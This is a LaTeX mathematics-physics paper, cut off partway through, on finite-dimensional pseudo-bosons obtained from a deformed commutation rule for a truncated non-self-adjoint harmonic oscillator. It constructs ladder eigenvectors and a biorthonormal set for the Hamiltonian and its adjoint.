text:
\section{Introduction}\label{sectI}

Quantum mechanics is often thought to be naturally associated to self-adjoint (or Hermitian\footnote{We will use these two words as synonymous here.}) operators. In particular, the dynamics is deduced out of a self-adjoint Hamiltonian, and the {\em observables} of the system are almost always assumed to be self-adjoint as well.

In recent years, mainly since the seminal work by Bender and Boettcher, \cite{ben1}, it was understood that self-adjointness is not an essential requirement, since other operators exist, not self-adjoint, having purely real (and discrete) spectra. We refer to \cite{ben,mosta,bagbook} for some reviews on this alternative approach. What is interesting, from a mathematical point of view, is that orthonormal (o.n.) bases of eigenstates are replaced by biorthonormal sets which can be, or not, bases of the Hilbert space where the physical system lives. Also, different scalar products can play a role, and this different products produce different adjoints of the same operators. Moreover, the role of pseudospectra in connection with unbounded operators becomes relevant, \cite{petr}. Then, in a sense, loosing self-adjointness makes the mathematical structure reacher. Not only that: from a physical point of view the situation is also rather interesting since, for instance, some so-called PT-symmetric Hamiltonians can be naturally used to describe quantum systems with gain and loss phenomena, see \cite{gain1,gain2} and references therein.

In recent years, in connection with this kind of operators, we have developed a rather general formalism based on some suitable deformations of the canonical commutation and anti-commutation relations (CCR and CAR). These deformations produce what we have called $\D$-pseudo bosons and  pseudo-fermions. A rather complete review on both these topics can be found in \cite{baginbagbook}, to which we refer for several details and for some physical applications. Later on a similar framework was proposed for quons and for generalized Heisenberg algebra, \cite{bagquons,bagcurgaz}.

Here we consider a deformation of a different commutation rule, originally considered in \cite{buc}, and later analyzed in \cite{bagchi}, in connection with a truncated version of the harmonic oscillator. The operator $c$ considered in these papers obeys the following rule
\be
[c,c^\dagger]=\1-N\,K,
\label{11}\en
in which $N=2,3,4,\ldots$ is a fixed natural number, while $K$ is a self-adjoint projection operator, $K=K^2=K^\dagger$, satisfying the equality $Kc=0$. The presence of the term $N\,K$ in (\ref{11}) makes it possible to find a representation of $K$ and $c$ in terms of $N\times N$ matrices. In fact,  in absence of this term we would recover the CCR, which does not admit any finite-dimensional representation. Here, on the other hand, $K$, $c$ and $c^\dagger$ act on a $N$-th dimensional Hilbert space, which we call $\Hil_N$. In \cite{buc} it was shown that the matrices for $c$ and $c^\dagger$ are essentially the truncated versions of the analogous, infinite-dimensional, matrices for the bosonic annihilation and creation operators. In \cite{buc} it was also discussed how to construct an orthonormal (o.n.) basis of eigenvectors of the self-adjoint operator $H_0=\frac{1}{2}(Q_0^2+P_0^2)$, where $Q_0=\frac{c+c^\dagger}{\sqrt{2}}$ and $P_0=\frac{c-c^\dagger}{\sqrt{2}\,i}$ are the {\em truncated } position and momentum operators. These vectors turn out to be eigenvectors of both $H_0$ and $K$, and their explicit construction is strongly based on the fact that $H_0$ is a positive operator, other than being self-adjoint. This automatically imposes a lower bound on the possible eigenvalues of $H_0$, bound which was used in \cite{buc} to construct the set of eigenvectors. We will see that, in our extended case, positivity is apparently lost, so that we cannot adopt the same construction as in \cite{buc} for the  eigenvectors of our new Hamiltonian $h$, constructed in analogy with $H_0$. Moreover, since $h\neq h^\dagger$, it is natural to analyze also what happens for $h^\dagger$, and this will produce a biorthogonal set of eigenvectors of $h^\dagger$, see Section \ref{sectIII}, which is a basis for $\Hil_N$.

The article is organized as follows: in the next section we discuss our deformed version of the commutation rule (\ref{11}), and we construct a set of eigenvectors for the related truncated non self-adjoint harmonic oscillator, with Hamiltonian $h$, see above. We call the operators $a$ and $b$ appearing in this deformation {\em finite-dimensional pseudo-bosons} (FDPBs), since they can be seen as a truncated version of the $\D$-PBs considered in \cite{baginbagbook}. We show explicitly how our construction works for some fixed values of $N$, and then we generalize the procedure to generic $N$. Incidentally we will find that the procedure proposed here is much direct than that considered in \cite{buc}.  In Section \ref{sectIII} the biorthogonal set of eigenvectors of $h^\dagger$ is deduced. We also show how these FDPBs are related to the operators $c$ and $K$ in (\ref{11}). In Section \ref{sectIV} we discuss two examples, while our conclusions are given in Section \ref{sectV}.

\section{Deformed commutation rules}\label{sectII}

The main object of our research is the following deformed version of the commutation rule (\ref{11}):
\be
[a,b]=\1-Nk.
\label{21}\en
Here $N$ can be any fixed integer larger than 1, and $k$ is an orthogonal projector: $k=k^2=k^\dagger$. Extending what is done in \cite{buc} we also require that $ka=bk=0$. Moreover, $a$ and $b$ are not, in general, one the adjoint of the other: $b\neq a^\dagger$. This is, in a sense, close to what was done in \cite{pb1} first, and in \cite{pf1} later, for CCR and CAR, and, in fact, what we will show here, is that we recover the same {\em global} functional structure (raising and lowering relations, biorthogonal sets, non-Hermitian number-like operators,....) as in the cited papers, even if we work here in finite-dimensional Hilbert spaces of dimension not necessarily equal to 2, as we did in \cite{pf1}.

The first remark is that operators obeying the commutation rule in (\ref{21}) can also be represented as matrices acting on a $N$-dimensional Hilbert space $\Hil_N$. This can be easily seen as follows: let $S_0$ be an $(N-1)\times(N-1)$ invertible matrix, and let $s$ be a non-zero complex number. Then, if $S$ is the diagonal block matrix with blocks $S_0$ and $s$, $S^{-1}$ exists (but, in general, $S^{-1}\neq S^\dagger$) and, since (\ref{11}) is implemented in $\Hil_N$, we can easily define three new  matrices $a=ScS^{-1}$, $b=Sc^\dagger S^{-1}$ and $k=SKS^{-1}$. These operators, since $K$ commutes with $S^\dagger S$,satisfy (\ref{21}), as well as the equalities  $k=k^2=k^\dagger$ and $ka=bk=0$. So we see that, at least in this situation, (\ref{21}) can be represented in $\Hil_N$. Of course, other (higher-dimensional) representations could also exist. However, from now on, $a$, $b$ and $k$ will be considered as operators on $\Hil_N$.

We start our analysis by introducing two (non-Hermitian) position and momentum-like operators:
$$
q=\frac{a+b}{\sqrt{2}},\qquad p=\frac{a-b}{\sqrt{2}\,i},
$$
so that $a=\frac{q+ip}{\sqrt{2}}$ and $b=\frac{q-ip}{\sqrt{2}}$. As in \cite{buc}, we introduce the operator $h=\frac{1}{2}(p^2+q^2)$. Despite of its expression, and of what happens in \cite{buc}, $h$ is not Hermitian ($h\neq h^\dagger$). Moreover, it is  not even manifestly  positive ($h\ngeq0$), due to the fact that both $q$ and $p$ are not Hermitian. Nevertheless, we will show later in this section that the eigenvalues of $h$ are indeed strictly positive for all possible choices of $N$. After few computations it is easy to deduce the following equalities:
\be
[a,h]=a-\frac{1}{2}\,Nak,\qquad
[b,h]=-b+\frac{1}{2}\,Nkb,
\label{22}\en
as well as
\be
\left\{
    \begin{array}{ll}
h=ba+\frac{1}{2}(\1-Nk)=ab-\frac{1}{2}(\1-Nk),\\
\{a,b\}=2h,\\
kh=hk=-\frac{1}{2}(\1-N)k,
\end{array}
        \right.
\label{23}\en
which in particular imply that $[h,k]=0$.  Then we can look for common eigenstates of $h$ and $k$, which we call $\varphi_{h',k'}$:
\be
\left\{
    \begin{array}{ll}
h\varphi_{h',k'}=h'\varphi_{h',k'},\\
k\varphi_{h',k'}=k'\varphi_{h',k'}.
\end{array}
        \right.
\label{23a}\en
Of course, since $k=k^2$, $k'$ can only be 0 and 1. In particular, in analogy with what happens in \cite{buc}, the only (possibly) non zero vector $\varphi_{h',k'}$, when $k'=1$, is the vector with $h'=\frac{1}{2}(N-1)$, $\varphi_{\frac{1}{2}(N-1),1}$; all the other vectors, $\varphi_{h',1}$, if $h'\neq \frac{1}{2}(N-1)$, turn out to be zero. In general, the vectors $\varphi_{h',k'}$ are not mutually orthogonal in $h'$, since $h\neq h^\dagger$, while they are orthogonal in $k'$, since $k=k^\dagger$:
\be
\left<\varphi_{h',k'},\varphi_{h'',k''}\right>=\left<\varphi_{h',k'},\varphi_{h'',k'}\right>\,\delta_{k',k''}.
\label{24}\en

It is now possible to prove that, if $a\,\varphi_{h',k'}\neq0$, then this vector must be proportional to $\varphi_{h'-1+\frac{1}{2}Nk',0}$. This follows from the following facts: first, since $ka=0$, $k(a\varphi_{h',k'})=0$. Secondly, using (\ref{22}), we have
$$
h\left(a\varphi_{h',k'}\right)=\left([h,a]+ah\right)\varphi_{h',k'}=\left(h'-1+\frac{1}{2}Nk'\right)(a\varphi_{h',k'}).
$$
Hence our claim follows. In particular we have
\be
a\varphi_{h',0}=0 \quad \Leftrightarrow \quad h'=\frac{1}{2}.
\label{25}\en
In fact, let us assume that $\varphi_{h',0}\neq0$ but $a\varphi_{h',0}=0$. Then, using (\ref{23}), we have
$$
0=b\left(a\varphi_{h',0}\right)=\left(h-\frac{1}{2}(\1-Nk)\right)\varphi_{h',0}=\left(h'-\frac{1}{2}\right)\varphi_{h',0},
$$
so that $h'=\frac{1}{2}$. The proof of the converse implication, i.e. that $a\varphi_{\frac{1}{2},0}=0$, needs to be postponed but it is essentially based on the fact that $\Hil_N$ has dimension $N$. In fact, we will see that acting with $a$ and $b$ on vectors of the form $\varphi_{h',k'}$ we can produce $N$ linearly independent (l.i.) vectors, including $\varphi_{\frac{1}{2},0}$. Their linear independence is due to the fact that they correspond to different, strictly positive, values of $h'$ (so, even if they are not orthogonal, they are still l.i.), or to different values of $k'$ (so they are orthogonal and, therefore, l.i., too). Then, if $a\varphi_{\frac{1}{2},0}$ is different from zero, it would be proportional to $\varphi_{-\frac{1}{2},0}$. This vector, being eigenstate of $h$ with eigenvalue $h'=-\frac{1}{2}$ different from the other ones (see below), would be the $N+1$-th l.i. vector in a space with dimension $N$. This is clearly impossible. Hence (\ref{25}) follows. Notice that, in particular, this also implies that $h$ admits only strictly positive eigenvalues, even in absence of an manifest positivity, which was used in \cite{buc} to deduce the analogous of (\ref{25}).

After showing that $a$ annihilates $\varphi_{\frac{1}{2},0}$, we need now to show that $b$ annihilates the vector $\varphi_{\frac{1}{2}(N-1),1}$:
\be
b\varphi_{\frac{1}{2}(N-1),1}=0.
\label{26}\en
 To check this, we start observing that, if $kb\varphi_{h',k'}\neq0$, then it must be proportional to $\varphi_{h'+1-\frac{1}{2}N,1}$. First of all, since $k^2=k$, it is clear that in this case $kb\varphi_{h',k'}$ must
an eigenstate of $k$ with eigenvalue 1. Now, using (\ref{22}) we find first that
$$
hb\varphi_{h',k'}=\left(bh+b-\frac{1}{2}\,Nkb\right)\varphi_{h',k'}=\left(h'+1-\frac{1}{2}\,Nk\right)b\varphi_{h',k'},
$$
which, when left-multiplied by $k$, produces
$$
h\left(kb\varphi_{h',k'}\right)=\left(h'+1-\frac{1}{2}\,N\right)\left(kb\varphi_{h',k'}\right).
$$
Then, as stated,  if $kb\varphi_{h',k'}\neq0$, it must be proportional to $\varphi_{h'+1-\frac{1}{2}N,1}$. It is now possible to see that the only possibility for having $kb\varphi_{h',k'}\neq0$ is that $h'=N-\frac{3}{2}$. In other words: if $h'\neq N-\frac{3}{2}$ then $kb\varphi_{h',k'}=0$, independently of $k'$.

To prove this claim we use (\ref{22}) and the equality $kh=-\frac{1}{2}(\1-N)k$ in (\ref{23}). Few algebraic manipulations produce now the equality $kbh=\left(N-\frac{3}{2}\right)kb$. Therefore $\left(h'-\left(N-\frac{3}{2}\right)\right)kb\varphi_{h',k'}=0$, which is only possible, if $kb\varphi_{h',k'}\neq0$, when $h'=N-\frac{3}{2}$. Then, if $h'\neq N-\frac{3}{2}$, $kb\varphi_{h',k'}$ must be zero. If we now compute  $kb\varphi_{N-\frac{3}{2},k'}$ we find, because of what deduced before, that this is proportional to $\varphi_{\frac{1}{2}(N-1),1}$. Notice that, in principle, $kb\varphi_{N-\frac{3}{2},k'}$ could still be zero. However, inspired by the results in \cite{buc}, we will assume that this is not so, and check this assumption in explicit examples.

Formula (\ref{26}) is now a simple consequence of the fact that $bk=0$. Indeed we have, for what we have deduced so far, that $b\varphi_{\frac{1}{2}(N-1),1}$ must be proportional to $b\left(kb\varphi_{N-\frac{3}{2},k'}\right)$, which is the zero vector since $bk=0$. Summarizing we have two different vectors, $\varphi_{\frac{1}{2},0}$ and $\varphi_{\frac{1}{2}(N-1),1}$, which are annihilated respectively by $a$ and $b$. This is very close to what happens in \cite{buc}, where we have also two vectors annihilated by the operator $c$ in (\ref{11}), and by its hermitian conjugate $c^\dagger$. A similar feature is observed in ordinary CAR, where the lowering operator annihilates the vacuum and its adjoint annihilates the upper lever. Moreover, in \cite{buc}, it is shown that $c$ behaves as a sort of lowering operator, while $c^\dagger$ behaves as a raising operator. We expect that a similar behavior can be deduced here for $a$ and $b$, and this is in-fact what we will see now.

\subsection{Two preliminary examples}

Before discussing the general case (i.e. generic $N>2$), we briefly discuss   how the construction works when $N=2$ and when $N=3$. It is worth stressing that our construction is significantly different from the one proposed in \cite{buc}, because of the many properties related to the particular structure arising from (\ref{11}), which are lost here.

\vspace{2mm}

If $N=2$ the commutation rule in (\ref{21}) become $[a,b]=\1-2k$. The Hilbert space $\Hil_2$ is two-dimensional, and the two vectors in (\ref{25}) and (\ref{26}), $\varphi_{\frac{1}{2},0}$ and $\varphi_{\frac{1}{2},1}$, turn out to be orthogonal: $\left<\varphi_{\frac{1}{2},0},\varphi_{\frac{1}{2},1}\right>=0$, since they correspond to different eigenvalues of the Hermitian operator $k$. Then $\F_\varphi^{(2)}=\{\varphi_{\frac{1}{2},0},\varphi_{\frac{1}{2},1}\}$ is an o.n. basis for $\Hil_2$ (assuming a {\em good} normalization). Of course, the eigenvalue $\frac{1}{2}$ of the Hamiltonian $h$ is degenerate.
As discussed before, $a\varphi_{\frac{1}{2},0}$ must be zero. Otherwise, it would be proportional to $\varphi_{-\frac{1}{2},0}$, so that the vectors $\varphi_{\frac{1}{2},0}$, $\varphi_{\frac{1}{2},1}$ and $a\varphi_{\frac{1}{2},0}$ would be l.i., in contrast with the fact that $\dim(\Hil_2)=2$. Hence $a\varphi_{\frac{1}{2},0}=0$.

We have shown in (\ref{26}) that $b\varphi_{\frac{1}{2},1}=0$. So, in order to fully understand the situation, in this simple case we still need to compute $a\varphi_{\frac{1}{2},1}$ and $b\varphi_{\frac{1}{2},0}$.
We will now prove that a non zero constant $\nu_{\frac{1}{2},0}$ exists such that
\be
a\varphi_{\frac{1}{2},1}=\nu_{\frac{1}{2},1}\,\varphi_{\frac{1}{2},0}, \qquad \mbox{and}\qquad b\varphi_{\frac{1}{2},0}=\nu_{\frac{1}{2},1}^{-1}\varphi_{\frac{1}{2},1}.
\label{27}\en
In fact, since $ha=ah-a+ak$, we see first that $ha\varphi_{\frac{1}{2},1}=(ah-a+ak)\varphi_{\frac{1}{2},1}=\frac{1}{2}a\varphi_{\frac{1}{2},1}$.
Moreover $k\left(a\varphi_{\frac{1}{2},1}\right)=0$. Then, a non zero constant  $\nu_{\frac{1}{2},1}$ should exist such that  $a\varphi_{\frac{1}{2},1}=\nu_{\frac{1}{2},1}\varphi_{\frac{1}{2},0}$. As for the second relation in (\ref{27}), this can be deduced by applying now the operator $b$ from the left to the first one and using the equality $[a,b]=\1-2k$.

\vspace{2mm}

The case $N=3$ is surely more interesting because, as we will see, the vectors $\varphi_{h',k'}$ do not form an o.n. basis for $\Hil_3$.

In this case the commutation rule in (\ref{21}) becomes $[a,b]=\1-3k$ and, since $\frac{1}{2}(N-1)=1$, our {\em extreme} vectors in (\ref{25}) and (\ref{26}) are $\varphi_{\frac{1}{2},0}$ and $\varphi_{1,1}$. Since they correspond to  different eigenvalues of the Hermitian operator $k$, they are orthogonal: $\left<\varphi_{\frac{1}{2},0},\varphi_{1,1}\right>=0$. But they are just two vectors in a three-dimensional space. Therefore, they cannot be a basis for $\Hil_3$. A third vector, l.i. with respect to the these  two, can be easily constructed. To do this, let us consider the vector $a\varphi_{1,1}$. Using (\ref{22}) and the fact that $ka=0$ we deduce that
$$
h\left(a\varphi_{1,1}\right)=\frac{3}{2}\left(a\varphi_{1,1}\right), \qquad k\left(a\varphi_{1,1}\right)=0.
$$
These imply that, if $a\,\varphi_{1,1}\neq0$, then it is an eigenvector of $h$, with eigenvalue $\frac{3}{2}$, and of $k$, with eigenvalue $0$. Hence we can introduce a vector, $\varphi_{\frac{3}{2},0}$, and a non-zero (complex) number $\nu_{1,1}$, such that $a\,\varphi_{1,1}=\nu_{1,1}\varphi_{\frac{3}{2},0}$. Let then consider the set $\F_\varphi^{(3)}=\{\varphi_{\frac{1}{2},0},\varphi_{\frac{3}{2},0},\varphi_{1,1}\}$. Its vectors are l.i., since they are orthogonal or they correspond to different eigenvalues of $h$. Hence $\F_\varphi^{(3)}$ is a basis for $\Hil_3$. Furthermore, using the commutation rule between $a$ and $b$, it follows that $b\,\varphi_{\frac{3}{2},0}=2\nu_{1,1}^{-1}\varphi_{1,1}$. In a similar way we can also prove that
$$
a\,\varphi_{\frac{3}{2},0}=\nu_{\frac{3}{2},0}\,\varphi_{\frac{1}{2},0},\qquad \mbox{ and } \qquad b\,\varphi_{\frac{1}{2},0}=\nu_{\frac{3}{2},0}^{-1}\,\varphi_{\frac{3}{2},0},
$$
for some non zero $\nu_{\frac{3}{2},0}$. This is because  $a\,\varphi_{\frac{3}{2},0}$ turns out to be an eigenstate of $h$ and $k$, with eigenvalues $\frac{1}{2}$ and $0$ respectively. Hence the first equality above follows. The second is a consequence of this first and of the commutator $[a,b]=\1-3k$. We see that, with a slight abuse of language, $a$ behaves as a lowering operator while $b$ behaves as a raising operator.

\subsection{Larger $N$}

\vspace{3mm}

The situation is just a little more complicated if we take now $N\geq4$:
 we have two vectors $\varphi_{\frac{1}{2},0}$ and $\varphi_{\frac{1}{2}(N-1),1}$ which are mutually orthogonal in $\Hil_N$. A third l.i. vector can be defined via the action of $a$ on $\varphi_{\frac{1}{2}(N-1),1}$. In fact $a\varphi_{\frac{1}{2}(N-1),1}$, if it is non-zero, is an eigenstate of $h$ and $k$ with eigenvalues $N-\frac{3}{2}$ and $0$ respectively:
$$
h\left(a\varphi_{\frac{1}{2}(N-1),1}\right)=\left(N-\frac{3}{2}\right)\left(a\varphi_{\frac{1}{2}(N-1),1}\right), \qquad\mbox{  and }\qquad k\left(a\varphi_{\frac{1}{2}(N-1),1}\right)=0.
$$
Then, a non zero constant $\nu_{\frac{1}{2}(N-1),1}$ exists such that $a\varphi_{\frac{1}{2}(N-1),1}=\nu_{\frac{1}{2}(N-1),1}\varphi_{N-\frac{3}{2},0}$. Now, since $N\geq4$, $N-\frac{3}{2}\neq \frac{1}{2}$. Therefore $\{\varphi_{\frac{1}{2},0},\varphi_{N-\frac{3}{2},0},\varphi_{\frac{1}{2}(N-1),1}\}$ are l.i., for the usual reasons, but they cannot form a basis for $\Hil_N$. Acting with $b$ on  $\varphi_{N-\frac{3}{2},0}$ we go back to $\varphi_{\frac{1}{2}(N-1),1}$. More in details, $b\varphi_{N-\frac{3}{2},0}=(N-1)\nu_{\frac{1}{2}(N-1),1}^{-1}\varphi_{\frac{1}{2}(N-1),1}$. If we go further, considering now $a\varphi_{N-\frac{3}{2},0}$, we find that this vector satisfies the following eigenvalue equations:
$$
h\left(a\varphi_{N-\frac{3}{2},0}\right)=\left(N-\frac{5}{2}\right)\left(a\varphi_{N-\frac{3}{2},0}\right), \qquad\mbox{  and }\qquad k\left(a\varphi_{N-\frac{3}{2},0}\right)=0.
$$
Therefore, if $a\varphi_{N-\frac{3}{2},0}\neq0$, a non zero  $\nu_{N-\frac{3}{2},0}$ exists such that $a\varphi_{N-\frac{3}{2},0}=\nu_{N-\frac{3}{2},0}\varphi_{N-\frac{5}{2},0}$. Also, $b\varphi_{N-\frac{5}{2},0}=(N-2)\nu_{N-\frac{3}{2},0}^{-1}\varphi_{N-\frac{3}{2},0}$. Of course, if $N>4$, $N-\frac{5}{2}\neq \frac{1}{2}$. Therefore $\{\varphi_{\frac{1}{2},0},\varphi_{N-\frac{5}{2},0},\varphi_{N-\frac{3}{2},0},\varphi_{\frac{1}{2}(N-1),1}\}$ are still l.i., but, again, they cannot be a basis for $\Hil_N$. So we consider $a\varphi_{N-\frac{5}{2},0}$, and the usual arguments show that this is proportional to $\varphi_{N-\frac{7}{2},0}$. Hence we have two possibilities: either $N-\frac{9}{2}=\frac{1}{2}$, which means that $N=5$, or, when  $N-\frac{9}{2}>\frac{1}{2}$, $N>5$. In the first case $\F_\varphi^{(5)}=\{\varphi_{\frac{1}{2},0},\varphi_{N-\frac{7}{2},0},\varphi_{N-\frac{5}{2},0},
\varphi_{N-\frac{3}{2},0},\varphi_{\frac{1}{2}(N-1),1}\}$ are five l.i. vectors in $\Hil_5$, so they do form a basis. In fact, acting again with $a$ on $\varphi_{N-\frac{7}{2},0}$ would produce a vector proportional to $\varphi_{\frac{1}{2},0}$, which is clearly not l.i. with respect to the ones in $\F_\varphi^{(5)}$. On the other hand, if $N>5$, we can continue our lowering procedure, acting with $a$ on $\varphi_{N-\frac{7}{2},0}$ and getting, this time, a vector which is surely not proportional to $\varphi_{\frac{1}{2},0}$. Of course, while $a$ acts as a lowering operator, $b$ behaves as a raising operator. However, due to the fact that $\Hil_N$ is finite-dimensional, $b$ annihilates $\varphi_{\frac{1}{2}(N-1),1}$, as we have seen. The situation is shown in Figure \ref{fig3}.

\begin{figure
\begin{center}

\begin{picture}(450,145)

\put(5,127){\line(1,0){65}} \put(7,127){\vector(-1,0){2}}\put(40,145){\makebox(0,0){$b$}}
\put(5,135){\line(1,0){65}} \put(68,135){\vector(1,0){2}}\put(40,120){\makebox(0,0){$a$}}
\multiput(-10,120)(0,-5){10}{\line(0,-1){2}}\put(-15,95){\makebox(0,0){$a$}}\put(-10,70){\vector(0,-1){2}}
\put(-10,60){\makebox(0,0){$0$}}

\put(100,127){\line(1,0){65}} \put(103,127){\vector(-1,0){2}}\put(130,145){\makebox(0,0){$b$}}
\put(100,135){\line(1,0){65}} \put(163,135){\vector(1,0){2}}\put(130,120){\makebox(0,0){$a$}}

\put(310,127){\line(1,0){65}} \put(313,127){\vector(-1,0){2}}\put(340,145){\makebox(0,0){$b$}}
\put(310,135){\line(1,0){65}} \put(373,135){\vector(1,0){2}}\put(340,120){\makebox(0,0){$a$}}

\multiput(200,130)(3,0){20}{\line(2,0){1}}

\multiput(395,120)(0,-5){10}{\line(0,-1){2}}\put(400,95){\makebox(0,0){$b$}}\put(395,70){\vector(0,-1){2}}
\put(395,60){\makebox(0,0){$0$}}

\put(-10,130){\makebox(0,0){$\varphi_{\frac{1}{2},0}$}}
\put(85,130){\makebox(0,0){$\varphi_{\frac{3}{2},0}$}}
\put(180,130){\makebox(0,0){$\varphi_{\frac{5}{2},0}$}}
\put(285,130){\makebox(0,0){$\varphi_{\frac{N}{2}-3,0}$}}
\put(405,130){\makebox(0,0){$\varphi_{\frac{1}{2}(N-1),1}$}}

\end{picture}

\end{center}

\vspace{-1.5cm}

\caption{{\protect\footnotesize The ladder operators and their action in $\Hil_N$.}}
\label{fig3}
\end{figure}

\vspace*{2mm}

{\bf Remarks:--} (1) We first observe that the values of the $\nu_{h',k'}$ in our construction are unfixed. The reason is that they will be only (partially) fixed by the biorthogonality condition discussed in the next section.

(2) The vectors $\varphi_{h',k'}$ are eigenstates not only of $h$ and $k$, but also of the operators $\hat M=ab$ and $\hat N=ba$. In fact we find:
\be
\left\{
    \begin{array}{ll}
\hat N\varphi_{\frac{1}{2}(N-1),1}=(N-1)\varphi_{\frac{1}{2}(N-1),1},\\
\hat N\varphi_{N-\frac{3}{2},0}=(N-2)\varphi_{N-\frac{3}{2},0},\\
\hat N\varphi_{N-\frac{5}{2},0}=(N-3)\varphi_{N-\frac{5}{2},0},\\
\ldots\\
\ldots\\
\hat N\varphi_{\frac{1}{2},0}=0,
\end{array}
        \right.
\label{28}\en
while
\be
\left\{
    \begin{array}{ll}
\hat M\varphi_{\frac{1}{2}(N-1),1}=0,\\
\hat M\varphi_{N-\frac{3}{2},0}=(N-1)\varphi_{N-\frac{3}{2},0},\\
\hat M\varphi_{N-\frac{5}{2},0}=(N-2)\varphi_{N-\frac{5}{2},0},\\
\ldots\\
\ldots\\
\hat M\varphi_{\frac{1}{2},0}=\varphi_{\frac{1}{2},0}.
\end{array}
        \right.
\label{29}\en
This is not surprising since one can check that $[\hat N,h]=[\hat M,h]=[\hat N,k]=[\hat M,k]=0$. In fact, recalling that $ka=bk=0$, we see that $[k,\hat M]=[k,ab]=0$. Moreover, since $ba=ab+Nk-\1$, we deduce that $[k,\hat N]=[k,ba]=[k,ab+Nk-\1]=0$. The fact that we also have $[\hat N,h]=[\hat M,h]=0$ follows now from the first line in (\ref{23}) which implies that $\hat M=h+\frac{1}{2}(\1-Nk)$ and $\hat N=h-\frac{1}{2}(\1-Nk)$, recalling further that $[h,k]=0$.

\section{The biorthogonal set}\label{sectIII}

In the literature on non self-adjoint Hamiltonians it is widely discussed how biorthogonal sets play an essential role in the description of the physical system $\Sc$: the eigenstates of the Hamiltonian $H_\Sc$ of $\Sc$ are not orthogonal, while they are biorthogonal to the elements of the set of eigenstates of $H_\Sc^\dagger$. For this reason, recalling that the operator $h=\frac{1}{2}(p^2+q^2)$ introduced in Section \ref{sectII} is not Hermitian, $h\neq h^\dagger$, it is natural to consider the problem of the diagonalization of $h^\dagger$. For that we take the adjoint of (\ref{21}) and we observe that, introducing $A=b^\dagger$ and $B=a^\dagger$, and recalling that $k=k^\dagger$, we get
\be
[A,B]=\1-Nk.
\label{31}\en
Then the pair $(A,B)$ satisfies the same commutation rule as the original pair $(a,b)$. Now, calling $Q=\frac{A+B}{\sqrt{2}}$, $P=\frac{A-B}{\sqrt{2}\,i}$ and $H=\frac{1}{2}(P^2+Q^2)$, it follows that $Q=q^\dagger$, $P=p^\dagger$ and $H=h^\dagger$. The analogous of formulas (\ref{22}) and (\ref{23}) can be deduced for these operators. For instance $\{A,B\}=2H$, $BA=H-\frac{1}{2}(\1-Nk)$, $AB=H+\frac{1}{2}(\1-Nk)$, $[H,k]=0$ and so on. Moreover, we also have $Bk=kA=0$. We call now $\psi_{h',k'}$ the common eigenstates of $H$ and $k$:
\be
\left\{
    \begin{array}{ll}
H\psi_{h',k'}=h'\psi_{h',k'},\\
k\psi_{h',k'}=k'\psi_{h',k'}.
\end{array}
        \right.
\label{32}\en
Then, standard arguments show that the sets $\F_\varphi=\{\varphi_{h',k'}\}$ and $\F_\psi=\{\psi_{h',k'}\}$ are biorthogonal and, if we choose properly the normalization of the vectors, they are also biorthonormal:
\be
\left<\psi_{h',k'},\varphi_{h'',k''}\right>=\delta_{h',h''}\delta_{k',k''}.
\label{33}\en

The construction of the set $\F_\psi^{(N)}$ reflects that of $\F_\varphi^{(N)}$ for the different values of $N$. For instance, if $N=2$, we only have two vectors $\F_\psi^{(2)}=\{\psi_{\frac{1}{2},0},\psi_{\frac{1}{2},1}\}$ and they satisfy the following equations:
$$
A\psi_{\frac{1}{2},0}=B\psi_{\frac{1}{2},1}=0, \qquad \mbox{and }\quad A\psi_{\frac{1}{2},1}=\mu_{\frac{1}{2},1}\psi_{\frac{1}{2},0},\quad B\psi_{\frac{1}{2},0}=\mu_{\frac{1}{2},1}^{-1}\psi_{\frac{1}{2},1},
$$
for some non-zero $\mu_{\frac{1}{2},1}$. This has to be related to $\nu_{\frac{1}{2},1}$ if we want $\F_\varphi^{(2)}$ and $\F_\psi^{(2)}$ to be biorthonormal. In fact, while $\left<\psi_{\frac{1}{2},1},\varphi_{\frac{1}{2},0}\right>=
\left<\psi_{\frac{1}{2},0},\varphi_{\frac{1}{2},1}\right>=0,$
automatically, if we further choose the normalization of $\varphi_{\frac{1}{2},0}$ and $\psi_{\frac{1}{2},0}$ by requiring $
\left<\psi_{\frac{1}{2},0},\varphi_{\frac{1}{2},0}\right>=1,
$
then we also get
$
\left<\psi_{\frac{1}{2},1},\varphi_{\frac{1}{2},1}\right>=1
$
at least if \be \overline{\nu_{\frac{1}{2},1}}\,\mu_{\frac{1}{2},1}=1.\label{add1}\en A similar situation is recovered for larger values of $N$. For instance, if $N=3$, the set $\F_\psi^{(3)}=\{\psi_{\frac{1}{2},0},\psi_{\frac{3}{2},0},\psi_{1,1}\}$ obeys the following ladder rules, see Figure \ref{fig2}:
\be
 A\psi_{1,1}=\mu_{1,1}\psi_{\frac{3}{2},0},\quad A\psi_{\frac{3}{2},0}=\mu_{\frac{3}{2},0}\psi_{\frac{1}{2},0},\quad B\psi_{\frac{3}{2},0}=2\mu_{1,1}^{-1}\psi_{1,1}, \quad B\psi_{\frac{1}{2},0}=\mu_{\frac{3}{2},0}^{-1}\psi_{\frac{3}{2},0},
\label{add2}\en
for some suitable and non zero $\mu_{1,1}$ and $\mu_{\frac{3}{2},0}$, as well as $A\psi_{\frac{1}{2},0}=B\psi_{1,1}=0$. Using now (\ref{21}) and assuming that $\left<\psi_{\frac{1}{2},0},\varphi_{\frac{1}{2},0}\right>=1$ we recover biorthonormality of the sets $\F_\psi^{(3)}$ and $\F_\varphi^{(3)}$  if we require
\be\overline{\nu_{\frac{3}{2},0}}\,\mu_{\frac{3}{2},0}=\frac{1}{2}\,\overline{\nu_{1,1}}\,\mu_{1,1}=1.\label{34}\en
It is straightforward to extend these results to larger $N$. In all cases, the following resolution of the identity in $\Hil_N$ is satisfied:
$$
\sum_{(h',k')\in\G_N}|\psi_{h',k'}\left>\right<\varphi_{h',k'}|=\sum_{(h',k')\in\G_N}|\varphi_{h',k'}\left>\right<\psi_{h',k'}|=\1,
$$
where we have used the Dirac bra-ket notation and where the sum is extended, for each fixed $N$, to all the possible pairs of $(h',k')$, see Section \ref{sectII}. We have called $\G_N$ this set.

\vspace{3mm}

The two biorthonormal sets $\F_\varphi^{(N)}$ and $\F_\psi^{(N)}$ can be used, together, to represent the operators $a$, $b$, and their adjoints, as a sum of rank-one operators. For instance, if $N=2$, we have
\be
a=\nu_{\frac{1}{2},1}\,|\varphi_{\frac{1}{2},0}\left>\right<\psi_{\frac{1}{2},1}|, \qquad b=\nu_{\frac{1}{2},1}^{-1}\,|\varphi_{\frac{1}{2},1}\left>\right<\psi_{\frac{1}{2},0}|,
\label{39}\en
